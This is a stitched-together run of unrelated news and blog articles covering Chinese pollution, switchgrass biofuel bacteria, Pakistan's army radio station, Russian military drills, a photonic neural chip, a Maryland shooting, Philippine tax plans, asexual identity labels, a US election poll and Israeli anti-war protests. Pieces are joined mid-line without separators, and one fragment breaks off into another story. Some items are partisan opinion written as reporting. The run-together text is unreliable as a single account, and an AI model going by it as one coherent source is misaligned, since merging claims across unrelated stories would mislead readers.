In delivering the "state of the environment" report last year, Li Ganjie, China's vice minister of environmental protection, admitted that "the overall environmental situation is still very grave and is facing many difficulties and challenges."
Li said while pollutants in surface water and sulphur dioxide emissions in cities were down, the countryside was becoming more polluted, He pledged to control contamination by heavy metals and said that China needed a law to regulate heavy metals, the New York Times reported.
Environmental observers say there are other promising signs of China's commitment to tackle pollution. Earlier this year, officials said Beijing would start reporting air quality data that includes readings of particulate matter that measures 2.5 microns or less in diameter.
This was seen as an important step, as it's this size of particle that can enter someone's lungs or bloodstream, causing health complications.
Nicholas Lardy, a leading expert on China's economy, told CBC News that while China has reduced the energy use per unit of GDP quite substantially, GDP is still growing rapidly, meaning the total amount of pollutants is still going up in absolute terms. For example, China continues to burn up around four billion tonnes of coal a year.
"The good news is that compared to business as usual they've made substantial progress. The bad news is they are still the largest emitter of most of the bad stuff," he said.Image: US Department of Agriculture
One of the main problems with making biofuels such as ethanol a true alternative to gasoline is the fact that processing the stuff costs a lot of money, nullifying any sort of economic advantage you'd see over crude oil. There are other problems, of course, but the expense of the process itself is a major one. Well, a newly genetically-engineered bacteria that automates the entire process could make it dramatically easier to turn crops into fuel.
For a while, synthetic biologists have been trying to stuff genes from different bacteria into a single organism, with the hope of using the bacteria's natural biological processes to cheaply and quickly create fuels. The holy grail would be to create bacteria that can consume carbon dioxide and transform it into crude oil.
"There's 27 chemical steps to go from Co2 to a crude oil equivalent," Joel Garreau, a futurist with the New America Foundation and researcher at Arizona State University, said last month. "At ASU we have a big biotechnology lab, and on the roof, they're growing algae, and taking these 27 chemical steps and stitching them together in one organism."
If crude oil-producing algae is the holy grail, then a new bacteria that turns grass into ethanol is at least a nice consolation prize.
Researchers at the Oak Ridge National Laboratory and the University of Georgia Department of Genetics have made it possible to take switchgrass, a grass widely grown throughout the Midwest, add some bacteria to it, and turn it directly into ethanol.
Image: PNAS
The method is both faster and, in theory, much cheaper than previous methods of turning switchgrass into biofuel, which required pretreatment with special enzymes that were so expensive as to make the entire process a waste of time.
A Popular Mechanics article from 2010 explains the problem:
"Since cellulose is tough and fibrous, it requires heavy-duty enzymatic decomposition processes to convert the plant matter into simple sugars that can be fermented into ethanol. These processes consume large amounts of energy and are so pricey that a study in Bioresource Technology last year concluded that cellulosic ethanol won't be competitive with gasoline unless oil prices remain above $90 a barrel. When that day comes, cellulosic could play a modest role in boosting supplies. And that's worth more research today. But hopes that grass clippings will end our oil habit are overblown."
Well, oil prices are well above that, and creating switchgrass biofuel no longer requires enzymes. There are still plenty of arguments to be had about whether crop-based biofuels are actually any better for the environment than crude oil, but at the very least, they might offer some cost savings.
The bacteria in question, Caldicellulosiruptor bescii, naturally thrives in very high temperatures and has been known to break down cellulose, which was considered the most difficult part of turning switchgrass into fuel. Janet Westpheling, a researcher at the University of Georgia, took the bacteria, gave it genes from other bacteria that can produce ethanol, and the whole system just worked.
"Now, without any pretreatment, we can simply take switchgrass, grind it up, add a low-cost, minimal salts medium and get ethanol out the other end," Westpheling said. "This is the first step toward an industrial process that is economically feasible."
Despite switchgrass' prior economic failures, there's still some big money behind it. The US government funded Westpheling's study, which was published in Proceedings of the National Academy of Sciences, and the Navy is developing a switchgrass-based jetfuel that will one day power its fighter jets.
With expensive genetic engineering out of the way, Westpheling's bacteria can be bred in the lab, and pretty soon they could be creating biofuel en masse.Share The Latest News
Recently, a talented director by the name of Magali Barbé released a film called ‘Strange Beasts’ that depicts what our lives in the future may look like. In the beginning of the story, you’ll notice that the video seems to be some type of ad for a tech startup company. But as the story unravels, you start to realize that it’s a depiction of our society and how we’re starting to become influenced by mixed reality technology.
Barbé’s film first starts off with an introduction to a young charismatic man named Victor Weber. Weber is the founder of “Strange Beasts” which is an augmented reality game. In “Strange Beasts” you’ll be able to customize and grow your very own creature as a virtual pet. The platform in which he’s created “Strange Beasts” on provides a modern UI with an infinite choice in customization.
Spoiler Below
Weber goes on to showcase his very own pet named Walter which looks like a mix between a Pokemon and a dinosaur. He then summons a ball for Walter to play fetch with. Weber also shows how these pets can be customized by adding tails, wings, and more to the creatures.
Weber then gives credit to what he calls “Nano Retina Technology” which super imposes computer graphic imagery over real-world objects by projecting a digital light-field into your eyes. But soon after this recap, a dark veil starts to gloom over Weber that portrays the dangers of meshing the real and virtual worlds together (like an episode out of “Black Mirror”).
Through his perspective, we see his daughter, Anna, playing around with her own virtual pet named Blooby. But we soon learn that Anna is only a figment of his imagination which was super-imposed through NRT.
In third-person perspective we see that Weber is just talking to himself rather than his real-life daughter that he thinks he has. NRT has influenced Weber to the point where he’s unable to distinguish the two worlds apart. In his mind, he’s having an event-filled day taking his virtual pet and his daughter out to the park on a bright summer’s day.
While technology this advanced doesn’t exist today, it’s something that can become viable in the near future. Oculus Chief Scientist Michal Abrash even stated that there will be “no sharp line between VR and reality” when we start improving our technology.
Vast amounts of companies are involved in improving AR technology today which will allow you to see digital objects in the real-world. Simply check out what Peter Jackson’s company, Wingnut AR is doing with Apple products.Image caption Afghans in remote areas are also heavily reliant on radio and Taliban there have set up stations
The army is considered to be one of Pakistan's shrewdest commercial operators, running bakeries, factories and even expanding into tourism.
It has been bitterly criticised for aggressively pursuing such lucrative ventures, but its latest foray into the corporate world may be of some use to its battle against militancy in Pakistan's restive north-west.
The army has a radio station - FM 96 was set up to counter militant propaganda in the Swat Valley, but it is now expanding its broadcasts into the semi-autonomous tribal belt.
Many in Pakistan are still suspicious of the power of the military, which has ruled the country for more than half of its history.
But Pakistan's far north-west presents a particularly intractable challenge - it is a region renowned for its complex rivalries, power struggles and the changing loyalties of various tribal groups.
'Mullah Radio'
Maulana Fazlullah aka 'Mullah Radio' Maulana Fazlullah was the Taliban commander for Swat region who spearheaded their uprising in this northern scenic valley in 2009. He later fled to the mountainous Pakistan-Afghanistan border following an army offensive to clear militants from Swat. His current whereabouts are unknown. He is thought to have lost a leg after being badly injured in fighting with Pakistani security forces in 2009. Fazlullah won fame and gained influence as "Mullah Radio" in 2007-2008 for broadcasting his sermons live through FM transmitters in and around the Swat valley. He installed several dozen FM transmitters and used them to spread his message. Some, after listening to his sermons, threw their television sets out because he described them as "un-Islamic". Many Swatis grew beards because of his lectures.
FM 96 was first set up around the time that the army launched a huge military offensive to win back control of Swat from the Taliban, which had swept to power in the once peaceful and lush valley. The Taliban had been running radio stations for some time - the brainchild of notorious Taliban cleric, Maulana Fazlullah.
Known as "Maulana Radio", Fazlullah used to run a network of FM frequencies in the region to preach extremist Islamic views. The stations aired Islamic programmes and sermons of religious leaders. Appeals for donations were regularly made.
The same phenomenon can be witnessed in Afghanistan, where the Taliban broadcast from makeshift radio stations.
"Pakistan's state institutions decided to respond to the propaganda aired by Maulana Fazlullah in Swat. For security reasons it was not possible to do it without the army's involvement," says FM 96's chief executive Aqeel Malik, who is also a serving officer of the Pakistani army.
Although the army eventually triumphed, driving militants out and allowing the many thousands who fled their repressive regime to return, it was not long before the army itself stood accused of abuses such as extra-judicial killings.
The army strenuously denied all such accusations, but mistrust between the security forces and the population has lingered.
The region is still at the centre of a propaganda duel as Maulana Fazlullah was never caught and militants continue to broadcast propaganda from a number of radio stations.
The army's radio station seeks to soften the image of the all-powerful security forces and the army is clearly hoping it can extend this image to the tribal areas.
Image caption The Taliban overran Swat under the leadership of Maulana Fazlullah in 2007
It says FM 96 is simply there to provide people with entertainment and information. But experts say the main focus of the station is to reach areas where militants have more influence than the army itself - even if it is through the lilting melody of a Bollywood love song.
Reaching out
They are not planning more than 50 such channels for nothing - they are definitely using it for propaganda Ayesha Siddiqa, Author and critic of the military
These areas include Pakistan's semi-autonomous tribal belt and parts of the province of Balochistan.
Simply being present in people's lives in such places is enough, observers contend. From its studios in Islamabad, the army is now broadcasting to 16 cities and towns in areas where militants once held power - including Swat and Malakand. The army has plans to expand this coverage to 44 cities.
Current affairs content features in the broadcasts, but most radio time is taken up by entertainment shows. Live callers are frequently encouraged to phone in and request songs and this has boosted the station's popularity.
Ironically, for an army which has for decades been preoccupied by the perceived threat from India, the choice of music for FM 96 is Bollywood's latest hits.
Hakeem Zada, who lives in the north-west of the country, listens to the station's morning show called Informed Morning.
"This show discusses our everyday problems like power outages and inflation. I like to contribute to the discussions and try to highlight my area. This is a really good show," she says.
But critics including author Ayesha Siddiqa have wasted no time in branding the broadcasts an army publicity stunt intended to boost the military's commercial interests. Many argue such interests are problematic in a country where the military often appears to be in unacknowledged conflict with the civilian government.
In a country with a history of frequent military coups, such critics are sensitive to such military ventures.
A glimpse inside FM 96 When we reached FM 96, a two-hour music on demand show had just finished. Presenter Sumaya Iftikhar said the last song on her show was the Indian hit Buhat Jatatey ho Chah hum Sey Karo Gey Kesay Nibah Hum Sey. Next up was the Pashto language show. Presenter Urooj Daraya said she likes to play songs and talk about recipes and make-up tips. Yasir Baloch, the host of the Baloch and Brahvi-language show told me that people like to listen to local folk music and while he was on air, he played the song of a Brahvi singer, which he translated as: "shade of homeland is very cold".
Army empire?
Dr Siddiqa's influential book, Military Inc, details the army's commercial interests.
"They are not planning more than 50 such channels for nothing. They are definitely using it for propaganda," she said.
"Who knows what they'll say on these channels against the Pakistani government or even neighbouring countries?"
Dr Siddiqa points out that when the military recently launched its own transport fleet, senior officers argued that it was only for military purposes.
"But later it spread to the extent that it took over most of country's cargo movement, throwing the national rail service into huge losses."
The army strongly denies these claims. Col Malik argues that FM 96 is being run on a non-profit basis. But he admitted that there were plans to expand the station.
For callers to the phone-in shows, however, these arguments are somewhat prosaic. For them, it is the entertainment that matters most, although many still talk about security.
"I hope and pray that situation in our valley improves significantly and quickly," an unidentified caller tells the host during one live programme.
FM 96 may be gaining ground in troubled parts of country, but it is far from certain if that is sufficient to win the loyalty of people under pressure in Pakistan's volatile tribal belt.The revived Lancia Stratos engineered into reality by a German millionaire was expected to spawn 40 copies for wealthy fans of the resurrected rally champion. That plan has now been blocked by a key player — Ferrari.
The new Stratos was built on the chassis of a Ferrari F430, and given bodywork by Pininfarina meant to evoke the spirit of the original. German backer Michael Stoschek had full cooperation during the construction from Ferrari, with president Luca di Montezemolo even taking the wheel for a test drive and praising the setup.
But that cooperation apparently ends at car number one. Stoschek planned to have Pininfarina craft additional bodies that could be mated to a donor Ferrari F430 or F360. That's where the trouble begins:
Pininfarina, however, has advised us that they will only carry out construction of a limited run with the express permission of Ferrari. Despite Ferrari president Luca di Montezemolo's excellent assessment of the New Stratos after his test drive at Fiorano, Ferrari does not consent to construction of the planned limited run by either Pininfarina or any other Ferrari-dependent suppliers.
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Stoschek's group now says they will have to build any copies of the New Stratos "only via companies that are not dependent on Ferrari."
It's not surprising that Ferrari, part of the Fiat corporate empire, would want to quash the build of a few dozen vehicles that trade on a history it owns but no longer knows how to exploit. Even allowing the name "Stratos" to be tossed around by outsiders raises all sorts of legal copyright issues. Buyers might think that this combination of a gorgeous design with a chassis shortened for maximum agility might have the full faith and credit of the Scuderia's crest.
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Vladimir Putin has said it is "stupid" to think Russia wants to attack anyone in Europe.
The Russian president made the statement at thew Valdai Club where he added: "Russia values its independence and own identity.
"We don't want world domination or expansion or confrontation with anyone."
In thinly-veiled attacks on western democracies, Putin added: "We have seen some countries pushing globalisation serving only them, but not all countries.
"Convenient for some countries to paint themselves as defenders of civilisation and bend allies [to their will]."
According to Russia Today, the leader hinted that some western countries were using a perceived threat of attack from Russia to divert their people from domestic issues.
He made the comments as footage showed Russian frogmen preparing for underwater warfare amid escalating fears Putin is plotting a war.
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Putin's Special Operations Forces can now parachute in with specialised equipment that allows them to swim at 15kmph - up to 30 metres below the surface.
The Russian Spetsnaz Navy's equipment comes with a removable autonomous navigation system, compass and sonar that can cruises for up to 3 hours.
(Image: Tvzvezda)
(Image: Tvzvezda)
Combat divers are armed with night vision goggles and underwater submachine guns APS and SPP-1, which can send bullets several metres through the water, according to Russian website tvzvezda.ru.
Earlier footage of secret drills showed Russian force’s carrying out a staged siege by a fictitious enemy that captured a naval base and planted mines in one of the ships.
The troops cleared the area of explosives while using their amphibious weapon, a 5.66 calibre APS assault rifle, which can be fired on land and in the water.
(Image: Tvzvezda)
(Image: Tvzvezda)
Footage surfaced just days after Russian forces were seen in British waters, sailing their aircraft carrier through the North Sea and English Channel.
The massive aircraft carrier, thought to be the Admiral Kuznetsov, was seen belching smoke as it passed by Britain in a move seen as provocative.
It was so close it could be seen from The White Cliffs of Dover.
But Downing Street denied Russia's show of strength showed how Britain was “weak”.
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(Image: Dover Marina.com)
A Number 10 spokesman said: “I would reject suggestions that the Russians feel we’re too weak. Clearly we are not weak at all."
The ship was marked by the Royal Navy, which kept a close watch on the foreign vessel.
At the same time, two other Russian corvettes, which were travelling north towards the UK from the direction of Portugal, were also watched by the Navy.
(Image: Youtube/Ruptly)
Two Royal Navy destroyers were sent to meet them with a Ministry of Defence spokesman confirming it planned to "man-mark them every step of the way".
The recent video is another reminder of tension between Putin's and western forces as NATO plans to send hundreds of troops to the Russian border.
A total of 800 troops, drones and tanks are moving to Estonia as part of the biggest military build up of NATO troops on Russia's borders since the Cold War.
(Image: Youtube/Ruptly)
(Image: Getty)
It comes after an increase in tensions between the West and Russia in recent months.
On Tuesday Russia deployed an advanced hypersonic glider warhead in preparation for the launch of its new ‘Satan 2’ super-nuke which could destroy Texas with a single strike.
The 'Object 4202' rocket was fired thousands of miles from Yasny to the far-east peninsula of Kamchatka with Kremlin officials hailing the test a "success".
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(Image: Dover Marina.com)
Earlier this month, 40 million Russians reportedly carried out nuclear evacuation tests after officials warned that the West wanted to launch strikes on the country.
In the video, crews in protective suits and gas masks can be seen participating in the four-day exercise alongside members of the public.
The drills - held in the country earlier this month - reportedly included a staggering 200,000 rescue'specialists' and nearly 50,000 vehicles.
The exercise by the Kremlin's Ministry of Emergency Situations took place after officials warned that the West wanted to launch strikes on the country.
NATO is now pressing allies including the US and Britain to contribute to the military presence as the alliance prepares for a long quarrel with Moscow.Neural networks are taking the world of computing by storm. Researchers have used them to create machines that are learning a huge range of skills that had previously been the unique preserve of humans—object recognition, face recognition, natural language processing, machine translation. All these skills, and more, are now becoming routine for machines.
So there is great interest in creating more capable neural networks that can push the boundaries of artificial intelligence even further. The focus of this work is in creating circuits that operate more like neurons, so-called neuromorphic chips. But how to make these circuits significantly faster?
Today, we get an answer of sorts thanks to the work of Alexander Tait and pals at Princeton University in New Jersey. These guys have built an integrated silicon photonic neuromorphic chip and show that it computes at ultrafast speeds.
Optical computing has long been the great dream of computer science. Photons have significantly more bandwidth than electrons and so can process more data more quickly. But the advantages of optical data processing systems have never outweighed the additional cost of making them, and so they have never been widely adopted.
That has started to change in some areas of computing, such as analog signal processing, which requires the kind of ultrafast data processing that only photonic chips can provide.
Now neural networks are opening up a new opportunity for photonics. “Photonic neural networks leveraging silicon photonic platforms could access new regimes of ultrafast information processing for radio, control, and scientific computing,” say Tait and co.
At the heart of the challenge is to produce an optical device in which each node has the same response characteristics as a neuron. The nodes take the form of tiny circular waveguides carved into a silicon substrate in which light can circulate. When released this light then modulates the output of a laser working at threshold, a regime in which small changes in the incoming light have a dramatic impact on the laser’s output.
Crucially, each node in the system works with a specific wavelength of light—a technique known as wave division multiplexing. The light from all the nodes can be summed by total power detection before being fed into the laser. And the laser output is fed back into the nodes to create a feedback circuit with a non-linear character.
An important question is just how closely this non-linearity mimics neural behavior. Tait and co measure the output and show that it is mathematically equivalent to a device known as a continuous-time recurrent neural network. “This result suggests that programming tools for CTRNNs could be applied to larger silicon photonic neural networks,” they say.
That’s an important result because it means the device that Tait and co have made can immediately exploit the vast range of programming nous that has been gathered for these kinds of neural networks.
They go on to demonstrate how this can be done using a network consisting of 49 photonic nodes. They use this photonic neural network to solve the mathematical problem of emulating a certain kind of differential equation and compare it to an ordinary central processing unit.
The results show just how fast photonic neural nets can be. “The effective hardware acceleration factor of the photonic neural network is estimated to be 1,960 × in this task,” say Tait and co. That’s a speed up of three orders of magnitude.
That opens the doors to an entirely new industry that could bring optical computing into the mainstream. “Silicon photonic neural networks could represent first forays into a broader class of silicon photonic systems for scalable information processing,” say Taif and co.
And others are working in this area too. Earlier this year, Yichen Shen at MIT and a few pals proposed the architecture behind a fully optical neural network and demonstrated elements of it using a programmable nanophotonic processor.
Of course much depends on how well the first generation of electronic neuromorphic chips perform. Photonic neural nets will have to offer significant advantages to be widely adopted and will therefore require much more detailed characterization. Clearly, there are interesting times ahead for photonics.
Ref: arxiv.org/abs/1611.02272: Neuromorphic Silicon Photonics
This story was updated on November 22 to include additional work done by researchers at MIT.About This Game
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Thursday’s opening a soft launch, he plans to keep business hours between 10 a.m. and 10 p.m. seven days a week.
Ocean Greens features a 1960s-era bar with a modern, contemporary aesthetic, Hyseni said. He will sell vintage lighters and ash trays as well as marijuana-infused edibles and vapes.
A real-estate agent who emigrated from Albania 14 years ago, Hyseni said he “never pictured in a million years I would own a marijuana recreation store in Seattle when I moved here.”
“I was raised under (an oppressive) regime,” he said. “I’m very happy to be part of Seattle history.”Photo credit: Maryland State Police
Law enforcement agencies have been scouring all day and night to locate the man they say shot six people, killing three of them, during two separate shooting events in Maryland.
The entire Mid-Atlantic region was in high alert after 37-year-old Radee Prince, of Elkton, Maryland shot five of his fellow coworkers Wednesday at his place of employment, a small granite company.
Police say that after Prince shot the initial group of people he then fled the scene driving into Wilmington, Delaware where he shot another acquaintance of his in the head at a used car lot.
Federal Agents in cooperation with Delaware Police then had Prince cornered into a specific area inside of a Glasgow neighborhood where a civilian noticed the wanted SUV abandoned at a nearby high school and called police.
Wilmington Police Chief Robert Tracy said that his officers then gave a foot chase to apprehend Prince, where he tossed out his handgun and then ran about 75 feet from the firearm before an officer tackled him.
"I even get chills talking about it because I know what it's like when we do hunt individuals that are desperate," Tracy said.
Chief Tracy said that each of the victims were personally targeted by Prince who intended to cause them as much harm as possible in an effort to end their lives in cold blood.
The three fatalities all occurred earlier in the day at Advanced Granite Solutions inside of Edgewood, Maryland where two of the five total shot during that incident are expected to survive albeit they remain in serious condition as of this time.
The Harford County Sheriff's Office has now identified the deceased victims as being 53 year old Bayarsaikhan Tudev, of Virginia; 34 year old Jose Hidalgo Romero, of Aberdeen, Maryland; and 48 year old Enis Mrvoljak, of Dundalk, Maryland.
The two who are in serious condition are currently at a Baltimore Trauma Center and have not had their identities released.
Around two hours after Prince began his rampage he drove into Wilmington, Delaware where he shot a man he's known his entire life in the head who somehow was able to survive and contacted emergency 911 to report Prince as the gunman.
Chief Tracy said that the victim claimed that the pair had “beefs” in the past suggesting there was personal conflict or vendetta involved in that shooting.
Interstate 95 from Maryland all the way into Philadelphia was flooded with law enforcement officers searching for Prince over the period of several hours with police positioned at every median and exit along the interstate from Edgewood and Wilmington in hopes of encountering their suspect before he inflicted more harm.
Maryland Governor Larry Hogan said he ordered helicopters to search both the highway and surrounding communities as well.
Sheriff's Departments and Federal Agents put out a region wide bulletin flashing images and the license plate number of the 2008 GMC Acadia that Prince was driving to all drivers across multiple states in an effort to locate Prince; but in the end it was his dedication to hunting down the victim in Delaware that brought him to his inevitable capture.
Prince reportedly is a lifelong criminal, having felony convictions in Delaware with over 42 arrests for crimes including workplace violence, traffic violations, several gun charges, assault, and having been on probation for a similar number of those crimes.
His former employer, JPS Marble and Granite, said that Prince had threatened to kill management at the location after they terminated and they were in such fear for their lives they had to seek out a restraining order because Prince was such a vindictive creature.
One of his former bosses, Philip Siason told the court during the restraining order hearing the following:
<blockquote>”He came to see me, cursed and yelled at me about unemployment benefits. I felt very threatened because he is a big guy and very aggressive on me. I didn't want to wait until Prince became physically violent, since he had a prior gun charge, for him to do something.”</blockquote>
After that hearing a Harford County District Court judge denied the order, saying the case didn't meet the required burden of proof; if which it goes to show how wrong Judges can often be.
Prince was currently employed as a machine operator at Advanced Granite Solutions, a company which designs and installs granite countertops for the past four months according to the owner Barak Caba.
Caba claimed that Prince and the five people shot were all employees, but declined to offer any specifics as to what the relationships or circumstances may have been surrounding the shooting.
Law enforcement are also silent as to a motive, but Prince is now in custody and will face a multitude of charges including three counts of first-degree murder and three counts of attempted murder as well as the long list of weapons charges and leading police into multiple states for over ten hours attempting to apprehend him.
Source:
http://www.kwwl.com/story/36632460/police-capture-shooter-they-say-targeted-6-people-he-knew
—<i>[email protected]</i>
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Tips? Info? Send me a message!MANILA, Philippines - The incoming Duterte administration is eyeing an increase in the 12-percent value-added tax (VAT), budget secretary-designate Benjamin Diokno said yesterday.
He said he is in favor of increasing the VAT “up to a maximum of 15 percent.”
He told ABS-CBN News Channel that he has been meeting with incoming finance secretary Carlos Dominguez on a measure that would generate revenues to support the annual budget.
“That’s under discussion,” he said when asked about an increase in VAT. “The timing can be worked out, maybe after two years. We have to reduce income tax first.”
In other Asian countries, the VAT is 17 percent, he said.
Diokno added VAT “is a good tax, which we started during the time of the late president Cory (Corazon) Aquino.”
Bureau of Internal Revenue (BIR) Commissioner Kim Henares has suggested that aside from adjusting VAT, the next administration would review exemptions from its coverage.
“There are numerous exemptions. The alphabet did not suffice. They (lawmakers) had to use AA, double B, double C and so on for these exemptions,” she said.
Some concerned groups have called for reviewing the input-output VAT system, which they claimed gives rise to cheating and corruption.
The value added tax is imposed on almost all consumer products with only a few exceptions, including food in its original state. It replaced the old sales tax.
Diokno belongs to a group of economists that has been advocating a combination of reducing income tax and increasing VAT.
The group reasoned out that under this combination, the government might not lose revenues, since the loss from one measure could be recovered from the other.
But the good thing about it is that reducing income tax would give people more disposable income, which they could opt to save, rather than spend, to avoid a higher VAT, the group said.Today the NY Times ran an article about a school system in Scarsdale, NY, that includes mandatory lessons in “empathy.” The article says that these seventh- and eighth-grade kids are required to do things like interviewing octogenarians and disabled people to learn about their lives and feelings, and to avoid doing things that might leave classmates feeling “excluded” from cool social events. The hope is that this will increase not just empathy for others, but that this kind of training may be instrumental in reducing the amount of bullying, teasing, and other social ills that are common in schools.
Surprisingly, the article cites a number of critics who disagree with this training. Reasons include the risk of “empathy training” crowding out other, more critical academic items, and kids’ complaints that the schools shouldn’t try to dictate how they live their personal lives.
These are probably misplaced fears. In fact, there may be few things that are more useful to a child than to learn some of the critical skills, and incorporating some of the key attitudes, that go along with “empathy.” Because empathy is actually a core component of the broader set of skills that are now called “social intelligence.”
What is “social intelligence,” then? The concept has been around for nearly a century in psychology, though it’s only really gotten a lot of press in the past few years. The idea of social intelligence was originally developed as one of several core parts of intelligence, or “IQ,” in general. It was thought that there were several broad types of intellectual ability, such as memory, the ability to manipulate mechanical objects, the ability to understand written/academics, and so on. “Social intelligence” was broadly thought of as the ability to understand and “manage” people.
In my book on the topic, I suggest that social intelligence includes four broad categories of ability: self-understanding (of your emotions/motives) and emotional self-control; the ability to have empathy for others (to understand their emotions, what they want from you, etc.); the ability to connect with/communicate with others; and genuine caring.
Unlike traditional, academic “IQ,” the evidence suggests that emotional intelligence can indeed be improved with training. So teaching kids about empathy is probably a really good thing. It may not automatically bring the “new age of happiness” to every child, and yes, there will still be bullies. (There may even be a rare few who, like psychologists who helped the CIA learn to torture better, become better bullies because of their new empathy into “what would really hurt her.”) But for the most part, creating a group of youngsters who have higher empathic quotients is likely, over time, to help them to become both more resilient, more effective (even in dealing with those new, “highly trained” bullies), and more successful in life.
AdvertisementsClarkstown Central School District students will have to wait another day to find out if classes will resume on Wednesday. Superintendent J. Thomas Morton said this morning that five of the Clarkstown District's 14 schools are not ready to open. Four elementary schools have not had power restored: Link, Laurel Plains, Little Tor and Wood Glen.
There was some property damage to Wood Glen's driveway and parking lot and to Clarkstown North High School's property. Fortunately, there was no significant building damage as a result of Hurricane Sandy.
Morton said the Clarkstown Police Department has been keeping him informed about the status of road closures and downed power lines. In the event that power is not restored to the four school buildings before Wednesday and the decision is made to open, then the district will prepare alternative plans for students attending those schools.
A major question remains as to how the seven cancelled school days will be managed.
"We have been in constant contact with State officials about these missed days," said Morton. "I have no word on that final decision. However, many school districts throughout Southern New York are in the same situation as us."Why do the kids these days have so many words and identity labels?
That’s the question we ask year after year. But isn’t that funny? If it’s the same thing year after year, why does it seem like kids these days are especially bad about it?
It’s certainly true that some years provide more fertile ground for words than others. For example, there were a lot more new asexuality-related words in the years 2000-2010 than in the years 1990-2000.
But a lot of the perceived change is an illusion. Previous generations also had lots of words and identity labels. Some of those words became established, and now you take them for granted (eg hetero-/bi-/pan-/homo- romantic, gray-A, demisexual). But for every successful word, there were a dozen unsuccessful words. You don’t see them anymore, because they died.
I can provide many examples, being on AVEN since 2009, and having read a lot of community history. There were the “sensual” orientations, such as homosensual, etc. There was primary and secondary romantic and sexual attraction (ugh). There were all the alternatives for gray-A and demisexual. There were the concepts of “gay asexual” or “straight asexual”, which were synonyms for romantic orientation. And a bunch of other terms that failed so quickly that they’re hardly worth mentioning or remembering.
You might think of words as having definitions, a collection of necessary and sufficient conditions. But first and foremost, words are tools. We don’t adopt words merely because they apply to us, we adopt them if we find them useful.
Here are some of the things identity labels are useful for:
Identifying something about yourself, so that you may better understand it.
Feeling like you share an experience with other people who also use the word.
A tag to collect similar discussion.
A way to communicate something about yourself.
A rallying call for a community or social movement.
Note that most of these things require that you are not the only person using the label. You can’t use an identity label to share experiences if no one else uses the label. You can’t communicate with it unless you’re in a context where enough people understand it. You can’t organize a social movement unless a lot of people are on board.
That’s why, when words become unpopular, they don’t just die a little. They die completely. Most people just don’t have a use for an unpopular label.
Using an identity label is like voting for it.
When you adopt a word, you are saying, “This word is useful to me.” And you are also giving the word more power. You are opening up new ways to use the word. And this is a good thing, because it means that the best words, the ones that most people find useful, become the successful ones. The ones that people do not find useful become unsuccessful.
Crucial to this process is the freedom to vote. People need the freedom to determine if a label is useful to them, or if it is not useful to them, independently of whether the label technically describes them. If people are required to use a word just because it describes them, then this would ruin the whole process and lead to the creation of bad terms that we all use but no one likes.
It’s certainly acceptable to campaign for or against a word. Many established words became successful because someone campaigned for them. For example, “demisexual” originally had success because AVEN user OwlSaint campaigned relentlessly for it circa 2008. And I’ve campaigned against words before, like the primary/secondary attraction mentioned earlier.
On the other hand, there are certain campaign strategies that seem unfair. For example, it seems unfair to outright tell people, “You shouldn’t use that word,” or, “Sounds like you’re ____,” especially when you’re saying it to baby aces who see you as an authority figure. You should be teaching baby aces how to vote, not telling them which way to vote.
I also think it’s unfair to go straight to the public and use new words in visibility efforts. That’s taking too many shortcuts, and you may just be advocating a word that will die later on. But there is a large gray area here. In my history of doing presentations, I’ve been far too conservative, hesitating to use words that later became much more popular.
…
Once a word becomes established, it may stick around for a long time. But that doesn’t mean that there is no longer anything to vote on.
We also vote on the meanings of words.
The asexual community is especially prone to thinking that words have clear definitions with necessary and sufficient conditions, because that’s the way the word “asexual” is usually presented. In fact, this idea is widely rejected in cognitive science and philosophy of language. Most words don’t have necessary and sufficient conditions, they have “prototypes”. Whether something belongs to a class or not depends on how similar it is to the prototype. Stereotypes are basically a kind of prototype, so when people complain about stereotypes, they’re trying to broaden a word away from a particular prototype.
The result of all this, is that words can be fluid. Definitions are attempts to pin down the meanings of words, which is an extremely useful thing to do. But definitions are not the ultimate reality of what those words mean.
In particular, there is always a lot of negotiation of the boundaries between words. For example, if you experience just a tiny bit of sexual attraction, how much is needed to push you from asexual to gray-A? If you yourself are on that boundary, that’s for you to decide!
Just as we need the freedom to vote on which words to use, we also need the freedom to vote on what they mean. Therefore, people should feel free to use a word even if by your preferred definition, that word does not describe them. This allows us, as a community, to negotiate what are the best meanings for existing words.
This democratic process is the way that our language has been created. Please continue voting!Like Share You and 12K others like this. 12K people like this. Sign Up to see what your friends like.
The Democratic convention achieved one of its biggest goals as according to a new CNN poll 91% of Bernie Sanders supporters are now backing Hillary Clinton.
Here are the numbers from the CNN poll:
Non-white voters (CNN): Clinton fave: 61/32
Trump fave: 9/88!
2-way: HRC 83%, Trump 12%
4-way: HRC 72%, Johnson 8%, Stein 8%, Trump 7%! — Taniel (@Taniel) — Taniel (@Taniel) August 1, 2016
If the choice for Sanders supporters is between Clinton and Trump, they are going to overwhelmingly support Clinton. The Green Party’s Jill Stein faces an uphill battle to get on the ballot in all 50 states, while Libertarian nominee Gary Johnson will be on the ballot in every state. What is stunning is how poorly Donald Trump does with Sanders supporters.
Trump had a lower favorability rating than Clinton and he trailed both the Green and Libertarian parties in popularity with the Sanders supporters. Donald Trump has a 5% favorable rating with those who backed Sen. Sanders. Trump only receives 3% support from the Sanders supporters.
Donald Trump continues to claim that millions of Bernie Sanders supporters are going to vote for him, but the reality is that the vast majority of those who voted Sanders are supporting Clinton in November. The Democratic convention was a success in terms of unifying the party. The Bernie Sanders supporters are finding their way into the Democratic Party.
Some Sanders supporters will end up casting their ballots for Johnson or Stein, but the Republican dream that they are going to vote for Donald Trump has been shattered.
Bernie Sanders supporters loathe Donald Trump, and judging from the results of this poll; there is no way that they would ever support the Republican nominee under any circumstances.
Republicans are running out of options with Trump, but one thing is clear, the supporters of Sen. Bernie Sanders will not be putting bigoted billionaire into the White House in November.If recent statements by Israel's leaders are anything to go by, a strike on Iran seems almost inevitable. Now, the drumbeat for war has led to the emergence of a nascent anti-war movement in the country.
Over the weekend, about 1,000 protesters took to the streets of Tel Aviv to urge the government not to attack Iran's nuclear facilities. While the demonstration was relatively small, it appears to be in step with the public mood across the country.
Israel Loves Iran, a Facebook group spreading a saccharine message of peace, has become a media sensation over the last fortnight. Attracting more than 40,000 followers, the group states: "To the Iranian people, To all the fathers, mothers, children, brothers and sisters. For there to be a war between us, first we must be afraid of each other, we must hate. I'm not afraid of you, I don't hate you." A YouTube video posted by one of the creators, graphic designer Ronnie Edry, has notched up well over 30,000 views.
While the campaign has garnered the usual criticisms about "clicktivism" which makes little real difference, it is an important attempt to humanise the other side (sadly unusual in the Middle East), and an expression of the fact that much of the Israeli public do not support their government's stance on this issue.
